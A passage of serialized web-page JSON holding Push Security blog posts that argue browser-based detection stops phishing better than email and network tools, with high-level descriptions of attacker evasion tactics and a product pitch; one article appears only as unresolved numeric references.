happens",{"items":124746},[124747,125406,125711],{"__typename":1429,"sys":124748,"content":124750,"title":125392,"synopsis":125393,"hashTags":59,"publishedDate":125394,"slug":125395,"tagsCollection":125396,"authorsCollection":125402},{"id":124749},"3dtvtDQdcQ6fAW7CB8VOFP",{"json":124751},{"data":124752,"content":124753,"nodeType":1382},{},[124754,124761,124768,124775,124778,124786,124793,124812,124845,124851,124871,124877,124902,124905,124913,124920,124935,124950,124956,124963,124970,124976,124992,124995,125003,125010,125017,125024,125031,125034,125042,125049,125056,125076,125083,125091,125133,125140,125146,125153,125159,125166,125169,125177,125192,125199,125241,125253,125256,125264,125271,125278,125311,125318,125338,125343,125349,125352,125359,125365,125381,125386],{"data":124755,"content":124756,"nodeType":866},{},[124757],{"data":124758,"marks":124759,"value":124760,"nodeType":865},{},[],"Phishing attacks remain a huge challenge for organizations in 2025. In fact, with attackers increasingly leveraging identity-based techniques over software exploits, phishing arguably poses a bigger threat than ever before. ",{"data":124762,"content":124763,"nodeType":866},{},[124764],{"data":124765,"marks":124766,"value":124767,"nodeType":865},{},[],"Attackers are turning to identity attacks like phishing because they can achieve all of the same objectives as they would in a traditional endpoint or network attack, simply by logging into a victim’s account. And with organizations now using hundreds of internet apps across their workforce, the scope of accounts that can be phished or targeted with stolen credentials has grown exponentially. ",{"data":124769,"content":124770,"nodeType":866},{},[124771],{"data":124772,"marks":124773,"value":124774,"nodeType":865},{},[],"With MFA-bypassing phishing kits the new normal, capable of phishing accounts protected by SMS, OTP, and push-based methods, detection controls are being put under constant pressure as prevention controls fall short. ",{"data":124776,"content":124777,"nodeType":972},{},[],{"data":124779,"content":124780,"nodeType":981},{},[124781],{"data":124782,"marks":124783,"value":124785,"nodeType":865},{},[124784],{"type":926},"Attackers are bypassing detection controls",{"data":124787,"content":124788,"nodeType":866},{},[124789],{"data":124790,"marks":124791,"value":124792,"nodeType":865},{},[],"The majority of phishing detection and control enforcement is focused at the email and network layer — typically at the Secure Email Gateway (SEG), Secure Web Gateway (SWG)/proxy, or both. ",{"data":124794,"content":124795,"nodeType":866},{},[124796,124800,124808],{"data":124797,"marks":124798,"value":124799,"nodeType":865},{},[],"But attackers know this, ",{"data":124801,"content":124802,"nodeType":889},{"uri":123592},[124803],{"data":124804,"marks":124805,"value":124807,"nodeType":865},{},[124806],{"type":943},"and are taking steps to avoid these controls",{"data":124809,"marks":124810,"value":124811,"nodeType":865},{},[],", by:",{"data":124813,"content":124814,"nodeType":1616},{},[124815,124825,124835],{"data":124816,"content":124817,"nodeType":1570},{},[124818],{"data":124819,"content":124820,"nodeType":866},{},[124821],{"data":124822,"marks":124823,"value":124824,"nodeType":865},{},[],"Routinely evading IoC driven blocklists by dynamically rotating and updating commonly signatured elements like IPs, domains, and URLs.",{"data":124826,"content":124827,"nodeType":1570},{},[124828],{"data":124829,"content":124830,"nodeType":866},{},[124831],{"data":124832,"marks":124833,"value":124834,"nodeType":865},{},[],"Preventing analysis of their phishing pages by implementing bot protection like CAPTCHA or Cloudflare Turnstile alongside other detection evasion methods. ",{"data":124836,"content":124837,"nodeType":1570},{},[124838],{"data":124839,"content":124840,"nodeType":866},{},[124841],{"data":124842,"marks":124843,"value":124844,"nodeType":865},{},[],"Changing visual and DOM elements on the page so that even when the page is loaded, detection signatures may fail to trigger.  ",{"data":124846,"content":124850,"nodeType":912},{"target":124847},{"sys":124848},{"id":124849,"type":909,"linkType":910},"5w44LsamEfcwSACx3MA997",[],{"data":124852,"content":124853,"nodeType":866},{},[124854,124858,124867],{"data":124855,"marks":124856,"value":124857,"nodeType":865},{},[],"And in fact, by launching multi- and cross-channel attacks, attackers are evading email-based controls entirely. Just see ",{"data":124859,"content":124861,"nodeType":889},{"uri":124860},"https://pushsecurity.com/blog/investigating-a-recent-malvertising-campaign-targeting-onfido-customers/?utm_campaign=12081956-FY25Q2_Hacker-News-Article&utm_source=thehackernews&utm_medium=sponsored&utm_content=external-article",[124862],{"data":124863,"marks":124864,"value":124866,"nodeType":865},{},[124865],{"type":943},"this recent example",{"data":124868,"marks":124869,"value":124870,"nodeType":865},{},[],", where attackers impersonating Onfido delivered their phishing attack via malicious Google ads (aka malvertising) — bypassing email altogether. ",{"data":124872,"content":124876,"nodeType":912},{"target":124873},{"sys":124874},{"id":124875,"type":909,"linkType":910},"3sGmVHl1Rwjyw3TMZSYuy4",[],{"data":124878,"content":124879,"nodeType":866},{},[124880,124884,124889,124893,124898],{"data":124881,"marks":124882,"value":124883,"nodeType":865},{},[],"It’s worth pointing out the limitations of email-based solutions here too. Email has some additional checks around the sender’s reputation and things like DMARC/DKIM, but these don’t actually identify malicious ",{"data":124885,"marks":124886,"value":124888,"nodeType":865},{},[124887],{"type":926},"pages",{"data":124890,"marks":124891,"value":124892,"nodeType":865},{},[],". Similarly, some modern email solutions are doing much deeper analysis of the ",{"data":124894,"marks":124895,"value":124897,"nodeType":865},{},[124896],{"type":926},"content",{"data":124899,"marks":124900,"value":124901,"nodeType":865},{},[]," of an email. But… that doesn’t really help with identifying the phishing sites themselves (just indicates that one might be linked in the email). This is much more appropriate for BEC-style attacks where the goal is to social engineer the victim, as opposed to linking them to a malicious page. And this still doesn’t help with attacks launched over different mediums as we’ve highlighted above.",{"data":124903,"content":124904,"nodeType":972},{},[],{"data":124906,"content":124907,"nodeType":981},{},[124908],{"data":124909,"marks":124910,"value":124912,"nodeType":865},{},[124911],{"type":926},"How browser-based detection and response can level the playing field",{"data":124914,"content":124915,"nodeType":866},{},[124916],{"data":124917,"marks":124918,"value":124919,"nodeType":865},{},[],"Most phishing attacks involve the delivery of a malicious link to a user. The user clicks the link and loads a malicious page. In the vast majority of cases, the malicious page is a login portal for a specific website, where the goal for the attacker is to steal the victim’s account.",{"data":124921,"content":124922,"nodeType":866},{},[124923,124927,124931],{"data":124924,"marks":124925,"value":124926,"nodeType":865},{},[],"These attacks are happening pretty much exclusively in the victim’s browser. So rather than building more email or network based controls looking from the outside-in at phishing pages accessed in the browser, there’s a huge opportunity presented by building phishing detection and response capabilities ",{"data":124928,"marks":124929,"value":5116,"nodeType":865},{},[124930],{"type":898},{"data":124932,"marks":124933,"value":124934,"nodeType":865},{},[]," the browser. ",{"data":124936,"content":124937,"nodeType":866},{},[124938,124942,124947],{"data":124939,"marks":124940,"value":124941,"nodeType":865},{},[],"When we look at the history of detection and response, this makes a lot of sense. When endpoint attacks skyrocketed in the late 2000s / early 2010s, they took advantage of the fact that defenders were trying to detect malware with primarily network-based detections, signature-based analysis of files, and running files in sandboxes (which was reliably defeated with sandbox-aware malware and using things as simple as putting an execution delay in the code). But this gave way to EDR, which presented a better way of observing and intercepting malicious software in ",{"data":124943,"marks":124944,"value":124946,"nodeType":865},{},[124945],{"type":926},"real-time",{"data":124948,"marks":124949,"value":14251,"nodeType":865},{},[],{"data":124951,"content":124955,"nodeType":912},{"target":124952},{"sys":124953},{"id":124954,"type":909,"linkType":910},"1KFwJvbIMiWHb1erWlljZf",[],{"data":124957,"content":124958,"nodeType":866},{},[124959],{"data":124960,"marks":124961,"value":124962,"nodeType":865},{},[],"The key here was getting inside the data stream to be able to observe activity in real-time on the endpoint. ",{"data":124964,"content":124965,"nodeType":866},{},[124966],{"data":124967,"marks":124968,"value":124969,"nodeType":865},{},[],"We’re in a similar position today. Modern phishing attacks are happening on web pages accessed via the browser, and the tools we’re relying on — email, network, even endpoint — don’t have the required visibility. They’re looking from the outside-in. ",{"data":124971,"content":124975,"nodeType":912},{"target":124972},{"sys":124973},{"id":124974,"type":909,"linkType":910},"59t6AcjpRjs3VQQXQO3PWu",[],{"data":124977,"content":124978,"nodeType":866},{},[124979,124983,124988],{"data":124980,"marks":124981,"value":124982,"nodeType":865},{},[],"But what if we could do detection and response from ",{"data":124984,"marks":124985,"value":124987,"nodeType":865},{},[124986],{"type":926},"inside the browser?",{"data":124989,"marks":124990,"value":124991,"nodeType":865},{},[]," Here’s three reasons why the browser is best for stopping phishing attacks:",{"data":124993,"content":124994,"nodeType":972},{},[],{"data":124996,"content":124997,"nodeType":981},{},[124998],{"data":124999,"marks":125000,"value":125002,"nodeType":865},{},[125001],{"type":926},"#1: Analyze pages, not links",{"data":125004,"content":125005,"nodeType":866},{},[125006],{"data":125007,"marks":125008,"value":125009,"nodeType":865},{},[],"Common phishing detections rely on the analysis of links or static HTML as opposed to malicious pages. Modern phishing pages are no longer static HTML — like most other modern web pages, these are dynamic web apps rendered in the browser, with JavaScript dynamically rewriting the page and launching the malicious content. This means that most basic, static checks fail to identify the malicious content running on the page. ",{"data":125011,"content":125012,"nodeType":866},{},[125013],{"data":125014,"marks":125015,"value":125016,"nodeType":865},{},[],"Without deeper analysis, you’re reliant on analyzing things like domains, URLs and IP addresses against known-bad blocklists. But these are all highly disposable. Attackers are buying them in bulk, constantly taking over legitimate domains, and generally planning for the fact that they’ll get through a lot of them. Modern phishing architecture is also able to dynamically rotate and update the links served to visitors from a continually refreshed pool (so every person that clicks the link gets served a different URL) and even going as far as using things like one-time magic links (which also means that any security team members trying to investigate the page later won’t be able to do so). ",{"data":125018,"content":125019,"nodeType":866},{},[125020],{"data":125021,"marks":125022,"value":125023,"nodeType":865},{},[],"Ultimately, this means that blocklists just aren’t that effective — because it’s trivial for attackers to change the indicators being used to create detections. If you think about the Pyramid of Pain, these indicators sit right at the bottom — the kind of thing we’ve been moving away from for years in the endpoint security world.  ",{"data":125025,"content":125026,"nodeType":866},{},[125027],{"data":125028,"marks":125029,"value":125030,"nodeType":865},{},[],"But in the browser, you can observe the rendered web page in all its glory. With much deeper visibility of the page (and its malicious elements) you can…",{"data":125032,"content":125033,"nodeType":972},{},[],{"data":125035,"content":125036,"nodeType":981},{},[125037],{"data":125038,"marks":125039,"value":125041,"nodeType":865},{},[125040],{"type":926},"#2: Detect TTPs, not IoCs",{"data":125043,"content":125044,"nodeType":866},{},[125045],{"data":125046,"marks":125047,"value":125048,"nodeType":865},{},[],"Even where TTP-based detections are in play, they’re typically reliant on either piecing together network requests, or loading the page in a sandbox. ",{"data":125050,"content":125051,"nodeType":866},{},[125052],{"data":125053,"marks":125054,"value":125055,"nodeType":865},{},[],"However, attackers are getting pretty good at evading sandbox analysis — simply by implementing bot protection by requiring user interaction with a CAPTCHA or Cloudflare Turnstile. Even if you can get past Turnstile, then you’ll need to supply the correct URL parameters and headers, and execute JavaScript, to be served the malicious page. This means that a defender who knows the domain name can’t discover the malicious behavior just by making a simple HTTP(S) request to the domain.",{"data":125057,"content":125058,"nodeType":866},{},[125059,125063,125072],{"data":125060,"marks":125061,"value":125062,"nodeType":865},{},[],"And if all this wasn’t enough, ",{"data":125064,"content":125066,"nodeType":889},{"uri":125065},"https://pushsecurity.com/blog/how-aitm-phishing-kits-evade-detection-p2/?utm_campaign=12081956-FY25Q2_Hacker-News-Article&utm_source=thehackernews&utm_medium=sponsored&utm_content=external-article",[125067],{"data":125068,"marks":125069,"value":125071,"nodeType":865},{},[125070],{"type":943},"they’re also obfuscating both visual and DOM elements to prevent signature-based detections from picking them up",{"data":125073,"marks":125074,"value":125075,"nodeType":865},{},[]," — so even if you can land on the page, there’s a high chance that your detections won’t trigger.",{"data":125077,"content":125078,"nodeType":866},{},[125079],{"data":125080,"marks":125081,"value":125082,"nodeType":865},{},[],"When using a proxy, you’ll have some visibility of the network traffic generated by a user accessing and interacting with a page. However, you’ll struggle to correlate key actions like whether the user entered their password with the specific tab when dealing with the sheer volume of disorganized network traffic data. ",{"data":125084,"content":125085,"nodeType":866},{},[125086],{"data":125087,"marks":125088,"value":125090,"nodeType":865},{},[125089],{"type":926},"But you get much better visibility of all this in the browser, with access to:",{"data":125092,"content":125093,"nodeType":1616},{},[125094,125103,125113,125123],{"data":125095,"content":125096,"nodeType":1570},{},[125097],{"data":125098,"content":125099,"nodeType":866},{},[125100],{"data":125101,"marks":125102,"value":110549,"nodeType":865},{},[],{"data":125104,"content":125105,"nodeType":1570},{},[125106],{"data":125107,"content":125108,"nodeType":866},{},[125109],{"data":125110,"marks":125111,"value":125112,"nodeType":865},{},[],"Full user interaction tracing — every click, keystroke, or DOM change can be traced",{"data":125114,"content":125115,"nodeType":1570},{},[125116],{"data":125117,"content":125118,"nodeType":866},{},[125119],{"data":125120,"marks":125121,"value":125122,"nodeType":865},{},[],"Full inspection at every layer of execution, not just initial HTML served",{"data":125124,"content":125125,"nodeType":1570},{},[125126],{"data":125127,"content":125128,"nodeType":866},{},[125129],{"data":125130,"marks":125131,"value":125132,"nodeType":865},{},[],"Full access to browser APIs, to correlate with browser history, local storage, attached cookies, etc.",{"data":125134,"content":125135,"nodeType":866},{},[125136],{"data":125137,"marks":125138,"value":125139,"nodeType":865},{},[],"This gives you everything you need to build high-fidelity detections focused on page behavior and user interaction – that are much harder for attackers to get around when compared to IoC-based detections. ",{"data":125141,"content":125145,"nodeType":912},{"target":125142},{"sys":125143},{"id":125144,"type":909,"linkType":910},"1YggWcADAWgt3sUkXMsVIw",[],{"data":125147,"content":125148,"nodeType":866},{},[125149],{"data":125150,"marks":125151,"value":125152,"nodeType":865},{},[],"In the browser, you get much better visibility of the user and page behavior to enable phishing page detection.",{"data":125154,"content":125158,"nodeType":912},{"target":125155},{"sys":125156},{"id":125157,"type":909,"linkType":910},"1BKgjnYkLJIRW0LJZYpfga",[],{"data":125160,"content":125161,"nodeType":866},{},[125162],{"data":125163,"marks":125164,"value":125165,"nodeType":865},{},[],"And with this new visibility, because you’re in the browser and seeing the page at the same time as the user is interacting with it, you can…",{"data":125167,"content":125168,"nodeType":972},{},[],{"data":125170,"content":125171,"nodeType":981},{},[125172],{"data":125173,"marks":125174,"value":125176,"nodeType":865},{},[125175],{"type":926},"#3: Intercept in real time, not post mortem",{"data":125178,"content":125179,"nodeType":866},{},[125180,125184,125189],{"data":125181,"marks":125182,"value":125183,"nodeType":865},{},[],"For non-browser solutions, ",{"data":125185,"marks":125186,"value":125188,"nodeType":865},{},[125187],{"type":926},"real-time phishing detection is basically nonexistent",{"data":125190,"marks":125191,"value":14251,"nodeType":865},{},[],{"data":125193,"content":125194,"nodeType":866},{},[125195],{"data":125196,"marks":125197,"value":125198,"nodeType":865},{},[],"At best, your proxy-based solution might be able to detect malicious behavior via the network traffic generated by your user interacting with the page. But because of the complexity of reconstructing network requests post-TLS-encryption, this typically happens on a time delay and is not entirely reliable. ",{"data":125200,"content":125201,"nodeType":866},{},[125202,125206,125211,125215,125220,125224,125228,125232,125237],{"data":125203,"marks":125204,"value":125205,"nodeType":865},{},[],"If a page is flagged, it usually requires further investigation by a security team to rule out any false positives and kick off an investigation. This can take ",{"data":125207,"marks":125208,"value":125210,"nodeType":865},{},[125209],{"type":926},"hours",{"data":125212,"marks":125213,"value":125214,"nodeType":865},{},[]," at best, probably ",{"data":125216,"marks":125217,"value":125219,"nodeType":865},{},[125218],{"type":926},"days",{"data":125221,"marks":125222,"value":125223,"nodeType":865},{},[],". Then, once a page is identified as malicious and IoCs are created, it can take ",{"data":125225,"marks":125226,"value":125219,"nodeType":865},{},[125227],{"type":926},{"data":125229,"marks":125230,"value":125231,"nodeType":865},{},[]," or even ",{"data":125233,"marks":125234,"value":125236,"nodeType":865},{},[125235],{"type":926},"weeks",{"data":125238,"marks":125239,"value":125240,"nodeType":865},{},[]," before the information is distributed, TI feeds are updated, and ingested into blocklists. ",{"data":125242,"content":125243,"nodeType":866},{},[125244,125248],{"data":125245,"marks":125246,"value":125247,"nodeType":865},{},[],"But in the browser, you’re observing the page in real-time, as the user sees it, from inside the browser. This is a game changer when it comes to not just detecting, but intercepting and shutting down attacks before a user is phished and the damage is done. ",{"data":125249,"marks":125250,"value":125252,"nodeType":865},{},[125251],{"type":926},"This changes the focus from post mortem containment and cleanup, to pre-compromise interception in real time. ",{"data":125254,"content":125255,"nodeType":972},{},[],{"data":125257,"content":125258,"nodeType":981},{},[125259],{"data":125260,"marks":125261,"value":125263,"nodeType":865},{},[125262],{"type":926},"The future of phishing detection and response is browser based",{"data":125265,"content":125266,"nodeType":866},{},[125267],{"data":125268,"marks":125269,"value":125270,"nodeType":865},{},[],"Push provides a browser-based identity security solution that intercepts phishing attacks as they happen — in employee browsers. Being in the browser delivers a lot of advantages when it comes to detecting and intercepting phishing attacks. You see the live webpage that the user sees, as they see it, meaning you have much better visibility of malicious elements running on the page. It also means that you can implement real-time controls that kick in when a malicious element is detected. ",{"data":125272,"content":125273,"nodeType":866},{},[125274],{"data":125275,"marks":125276,"value":125277,"nodeType":865},{},[],"When a phishing attack hits a user with Push, regardless of the delivery channel, our browser extension inspects the webpage running in the user's browser. Push observes that the webpage is a login page and the user is entering their password into the page, detecting that:",{"data":125279,"content":125280,"nodeType":1616},{},[125281,125291,125301],{"data":125282,"content":125283,"nodeType":1570},{},[125284],{"data":125285,"content":125286,"nodeType":866},{},[125287],{"data":125288,"marks":125289,"value":125290,"nodeType":865},{},[],"The password the user is entering into the phishing site has been used to log into another site previously. This means that the password is being reused (bad) or the user is being phished (even worse).  ",{"data":125292,"content":125293,"nodeType":1570},{},[125294],{"data":125295,"content":125296,"nodeType":866},{},[125297],{"data":125298,"marks":125299,"value":125300,"nodeType":865},{},[],"The web page is cloned from a legitimate login page that has been fingerprinted by Push. ",{"data":125302,"content":125303,"nodeType":1570},{},[125304],{"data":125305,"content":125306,"nodeType":866},{},[125307],{"data":125308,"marks":125309,"value":125310,"nodeType":865},{},[],"A phishing toolkit is running on the web page. ",{"data":125312,"content":125313,"nodeType":866},{},[125314],{"data":125315,"marks":125316,"value":125317,"nodeType":865},{},[],"As a result, the user is blocked from interacting with the phishing site and prevented from continuing. ",{"data":125319,"content":125320,"nodeType":866},{},[125321,125326,125335],{"data":125322,"marks":125323,"value":125325,"nodeType":865},{},[125324],{"type":926},"These are good examples of detections that are difficult (or impossible) for an attacker to evade — you can’t phish a victim if they can’t enter their credentials into your phishing site! ",{"data":125327,"content":125329,"nodeType":889},{"uri":125328},"https://pushsecurity.com/blog/detecting-and-blocking-phishing-attacks-in-the-browser/?utm_campaign=12081956-FY25Q2_Hacker-News-Article&utm_source=thehackernews&utm_medium=sponsored&utm_content=external-article",[125330],{"data":125331,"marks":125332,"value":125334,"nodeType":865},{},[125333],{"type":943},"Find out more about how Push detects and blocks phishing attacks here.",{"data":125336,"marks":125337,"value":21,"nodeType":865},{},[],{"data":125339,"content":125342,"nodeType":912},{"target":125340},{"sys":125341},{"id":123799,"type":909,"linkType":910},[],{"data":125344,"content":125348,"nodeType":912},{"target":125345},{"sys":125346},{"id":125347,"type":909,"linkType":910},"4PJKxWTroEPohYm4mklfl6",[],{"data":125350,"content":125351,"nodeType":972},{},[],{"data":125353,"content":125354,"nodeType":981},{},[125355],{"data":125356,"marks":125357,"value":34483,"nodeType":865},{},[125358],{"type":926},{"data":125360,"content":125361,"nodeType":866},{},[125362],{"data":125363,"marks":125364,"value":124090,"nodeType":865},{},[],{"data":125366,"content":125367,"nodeType":866},{},[125368,125371,125378],{"data":125369,"marks":125370,"value":104093,"nodeType":865},{},[],{"data":125372,"content":125373,"nodeType":889},{"uri":124099},[125374],{"data":125375,"marks":125376,"value":11405,"nodeType":865},{},[125377],{"type":943},{"data":125379,"marks":125380,"value":1615,"nodeType":865},{},[],{"data":125382,"content":125385,"nodeType":912},{"target":125383},{"sys":125384},{"id":123415,"type":909,"linkType":910},[],{"data":125387,"content":125388,"nodeType":866},{},[125389],{"data":125390,"marks":125391,"value":21,"nodeType":865},{},[],"Three reasons why browser is best for stopping phishing attacks","Why being in the browser gives defenders a key advantage over network and email phishing prevention, detection, and response tools. ","2025-04-28T00:00:00.000Z","three-reasons-why-browser-is-best-for-stopping-phishing-attacks",{"items":125397},[125398,125400],{"sys":125399,"name":342},{"id":4642},{"sys":125401,"name":7796},{"id":7795},{"items":125403},[125404],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":125405},{"url":7804},{"__typename":1429,"sys":125407,"content":125408,"title":87659,"synopsis":115872,"hashTags":59,"publishedDate":115873,"slug":87660,"tagsCollection":125703,"authorsCollection":125707},{"id":80645},{"json":125409},{"data":125410,"content":125411,"nodeType":1382},{},[125412,125418,125424,125430,125435,125441,125471,125477,125483,125489,125494,125500,125506,125521,125526,125532,125548,125564,125570,125576,125582,125588,125594,125600,125606,125622,125628,125634,125639,125645,125651,125671,125676,125692,125697],{"data":125413,"content":125414,"nodeType":866},{},[125415],{"data":125416,"marks":125417,"value":115540,"nodeType":865},{},[],{"data":125419,"content":125420,"nodeType":866},{},[125421],{"data":125422,"marks":125423,"value":115547,"nodeType":865},{},[],{"data":125425,"content":125426,"nodeType":866},{},[125427],{"data":125428,"marks":125429,"value":115554,"nodeType":865},{},[],{"data":125431,"content":125434,"nodeType":912},{"target":125432},{"sys":125433},{"id":115559,"type":909,"linkType":910},[],{"data":125436,"content":125437,"nodeType":866},{},[125438],{"data":125439,"marks":125440,"value":115567,"nodeType":865},{},[],{"data":125442,"content":125443,"nodeType":1616},{},[125444,125453,125462],{"data":125445,"content":125446,"nodeType":1570},{},[125447],{"data":125448,"content":125449,"nodeType":866},{},[125450],{"data":125451,"marks":125452,"value":115580,"nodeType":865},{},[],{"data":125454,"content":125455,"nodeType":1570},{},[125456],{"data":125457,"content":125458,"nodeType":866},{},[125459],{"data":125460,"marks":125461,"value":115590,"nodeType":865},{},[],{"data":125463,"content":125464,"nodeType":1570},{},[125465],{"data":125466,"content":125467,"nodeType":866},{},[125468],{"data":125469,"marks":125470,"value":115600,"nodeType":865},{},[],{"data":125472,"content":125473,"nodeType":866},{},[125474],{"data":125475,"marks":125476,"value":115607,"nodeType":865},{},[],{"data":125478,"content":125479,"nodeType":981},{},[125480],{"data":125481,"marks":125482,"value":115614,"nodeType":865},{},[],{"data":125484,"content":125485,"nodeType":866},{},[125486],{"data":125487,"marks":125488,"value":115621,"nodeType":865},{},[],{"data":125490,"content":125493,"nodeType":912},{"target":125491},{"sys":125492},{"id":115626,"type":909,"linkType":910},[],{"data":125495,"content":125496,"nodeType":866},{},[125497],{"data":125498,"marks":125499,"value":115634,"nodeType":865},{},[],{"data":125501,"content":125502,"nodeType":981},{},[125503],{"data":125504,"marks":125505,"value":115641,"nodeType":865},{},[],{"data":125507,"content":125508,"nodeType":866},{},[125509,125512,125518],{"data":125510,"marks":125511,"value":115648,"nodeType":865},{},[],{"data":125513,"content":125514,"nodeType":889},{"uri":54299},[125515],{"data":125516,"marks":125517,"value":115655,"nodeType":865},{},[],{"data":125519,"marks":125520,"value":115659,"nodeType":865},{},[],{"data":125522,"content":125525,"nodeType":912},{"target":125523},{"sys":125524},{"id":54408,"type":909,"linkType":910},[],{"data":125527,"content":125528,"nodeType":1317},{},[125529],{"data":125530,"marks":125531,"value":115671,"nodeType":865},{},[],{"data":125533,"content":125534,"nodeType":866},{},[125535,125538,125545],{"data":125536,"marks":125537,"value":115678,"nodeType":865},{},[],{"data":125539,"content":125540,"nodeType":889},{"uri":115681},[125541],{"data":125542,"marks":125543,"value":115687,"nodeType":865},{},[125544],{"type":943},{"data":125546,"marks":125547,"value":115691,"nodeType":865},{},[],{"data":125549,"content":125550,"nodeType":866},{},[125551,125554,125561],{"data":125552,"marks":125553,"value":115698,"nodeType":865},{},[],{"data":125555,"content":125556,"nodeType":889},{"uri":53413},[125557],{"data":125558,"marks":125559,"value":53419,"nodeType":865},{},[125560],{"type":943},{"data":125562,"marks":125563,"value":115709,"nodeType":865},{},[],{"data":125565,"content":125566,"nodeType":866},{},[125567],{"data":125568,"marks":125569,"value":115716,"nodeType":865},{},[],{"data":125571,"content":125572,"nodeType":866},{},[125573],{"data":125574,"marks":125575,"value":115723,"nodeType":865},{},[],{"data":125577,"content":125578,"nodeType":1317},{},[125579],{"data":125580,"marks":125581,"value":115730,"nodeType":865},{},[],{"data":125583,"content":125584,"nodeType":866},{},[125585],{"data":125586,"marks":125587,"value":115737,"nodeType":865},{},[],{"data":125589,"content":125590,"nodeType":866},{},[125591],{"data":125592,"marks":125593,"value":115744,"nodeType":865},{},[],{"data":125595,"content":125596,"nodeType":981},{},[125597],{"data":125598,"marks":125599,"value":115751,"nodeType":865},{},[],{"data":125601,"content":125602,"nodeType":866},{},[125603],{"data":125604,"marks":125605,"value":115758,"nodeType":865},{},[],{"data":125607,"content":125608,"nodeType":866},{},[125609,125612,125619],{"data":125610,"marks":125611,"value":115765,"nodeType":865},{},[],{"data":125613,"content":125614,"nodeType":889},{"uri":115768},[125615],{"data":125616,"marks":125617,"value":115774,"nodeType":865},{},[125618],{"type":943},{"data":125620,"marks":125621,"value":115778,"nodeType":865},{},[],{"data":125623,"content":125624,"nodeType":866},{},[125625],{"data":125626,"marks":125627,"value":115785,"nodeType":865},{},[],{"data":125629,"content":125630,"nodeType":866},{},[125631],{"data":125632,"marks":125633,"value":115792,"nodeType":865},{},[],{"data":125635,"content":125638,"nodeType":912},{"target":125636},{"sys":125637},{"id":115797,"type":909,"linkType":910},[],{"data":125640,"content":125641,"nodeType":981},{},[125642],{"data":125643,"marks":125644,"value":54483,"nodeType":865},{},[],{"data":125646,"content":125647,"nodeType":866},{},[125648],{"data":125649,"marks":125650,"value":115811,"nodeType":865},{},[],{"data":125652,"content":125653,"nodeType":866},{},[125654,125657,125661,125664,125668],{"data":125655,"marks":125656,"value":115818,"nodeType":865},{},[],{"data":125658,"marks":125659,"value":58582,"nodeType":865},{},[125660],{"type":926},{"data":125662,"marks":125663,"value":115826,"nodeType":865},{},[],{"data":125665,"marks":125666,"value":115831,"nodeType":865},{},[125667],{"type":926},{"data":125669,"marks":125670,"value":115835,"nodeType":865},{},[],{"data":125672,"content":125675,"nodeType":912},{"target":125673},{"sys":125674},{"id":115840,"type":909,"linkType":910},[],{"data":125677,"content":125678,"nodeType":866},{},[125679,125682,125689],{"data":125680,"marks":125681,"value":115848,"nodeType":865},{},[],{"data":125683,"content":125684,"nodeType":889},{"uri":16069},[125685],{"data":125686,"marks":125687,"value":14066,"nodeType":865},{},[125688],{"type":943},{"data":125690,"marks":125691,"value":115859,"nodeType":865},{},[],{"data":125693,"content":125696,"nodeType":912},{"target":125694},{"sys":125695},{"id":115864,"type":909,"linkType":910},[],{"data":125698,"content":125699,"nodeType":866},{},[125700],{"data":125701,"marks":125702,"value":21,"nodeType":865},{},[],{"items":125704},[125705],{"sys":125706,"name":297},{"id":2310},{"items":125708},[125709],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":125710},{"url":4618},{"__typename":1429,"sys":125712,"content":125714,"title":126026,"synopsis":126027,"hashTags":59,"publishedDate":126028,"slug":126029,"tagsCollection":126030,"authorsCollection":126036},{"id":125713},"4bYO5rVy9n2OO3vtMVQeda",{"json":125715},{"data":125716,"content":125717,"nodeType":1382},{},[125718,125725,125743,125759,125766,125773,125776,125783,125790,125843,125850,125856,125859,125866,125873,125880,125887,125894,125911,125917,125924,125931,125947,125953,125960,125967,125974,125981,125988,125991,125997,126014,126020],{"data":125719,"content":125720,"nodeType":981},{},[125721],{"data":125722,"marks":125723,"value":125724,"nodeType":865},{},[],"All phishing eventually leads to the browser",{"data":125726,"content":125727,"nodeType":866},{},[125728,125732,125740],{"data":125729,"marks":125730,"value":125731,"nodeType":865},{},[],"The best attack detection methods are those that focus on ",{"data":125733,"content":125734,"nodeType":889},{"uri":4788},[125735],{"data":125736,"marks":125737,"value":125739,"nodeType":865},{},[125738],{"type":943},"detecting indicators that are difficult for attackers to change or obfuscate",{"data":125741,"marks":125742,"value":14251,"nodeType":865},{},[],{"data":125744,"content":125745,"nodeType":866},{},[125746,125750,125755],{"data":125747,"marks":125748,"value":125749,"nodeType":865},{},[],"For a credential phishing attack to succeed, the victim ",{"data":125751,"marks":125752,"value":125754,"nodeType":865},{},[125753],{"type":943},"has",{"data":125756,"marks":125757,"value":125758,"nodeType":865},{},[]," to enter their password into a webpage. There’s no two-ways about it, attackers cannot change this. ",{"data":125760,"content":125761,"nodeType":866},{},[125762],{"data":125763,"marks":125764,"value":125765,"nodeType":865},{},[],"So it stands to reason that, if you can detect this user behavior, and block them from entering their password, then you can stop phishing. ",{"data":125767,"content":125768,"nodeType":866},{},[125769],{"data":125770,"marks":125771,"value":125772,"nodeType":865},{},[],"This is exactly what Push does.",{"data":125774,"content":125775,"nodeType":972},{},[],{"data":125777,"content":125778,"nodeType":1317},{},[125779],{"data":125780,"marks":125781,"value":125782,"nodeType":865},{},[],"Most anti-phishing tools are easily bypassed",{"data":125784,"content":125785,"nodeType":866},{},[125786],{"data":125787,"marks":125788,"value":125789,"nodeType":865},{},[],"Other anti-phishing tools rely on detecting elements of the attack that attackers can change and hide, such as domains or the webpage contents. Attackers use tricks to evade these detection, like:",{"data":125791,"content":125792,"nodeType":1616},{},[125793,125803,125813,125823,125833],{"data":125794,"content":125795,"nodeType":1570},{},[125796],{"data":125797,"content":125798,"nodeType":866},{},[125799],{"data":125800,"marks":125801,"value":125802,"nodeType":865},{},[],"Using Cloudflare Workers to block automatic analysis of their phishing site",{"data":125804,"content":125805,"nodeType":1570},{},[125806],{"data":125807,"content":125808,"nodeType":866},{},[125809],{"data":125810,"marks":125811,"value":125812,"nodeType":865},{},[],"Hacking a Wordpress blog to get a reputable domain that passes domain checks ",{"data":125814,"content":125815,"nodeType":1570},{},[125816],{"data":125817,"content":125818,"nodeType":866},{},[125819],{"data":125820,"marks":125821,"value":125822,"nodeType":865},{},[],"Using redirects and rotating the URLs delivered to the victim to bypass link analysis",{"data":125824,"content":125825,"nodeType":1570},{},[125826],{"data":125827,"content":125828,"nodeType":866},{},[125829],{"data":125830,"marks":125831,"value":125832,"nodeType":865},{},[],"Randomizing the HTML title for the web page to bypass blocklists 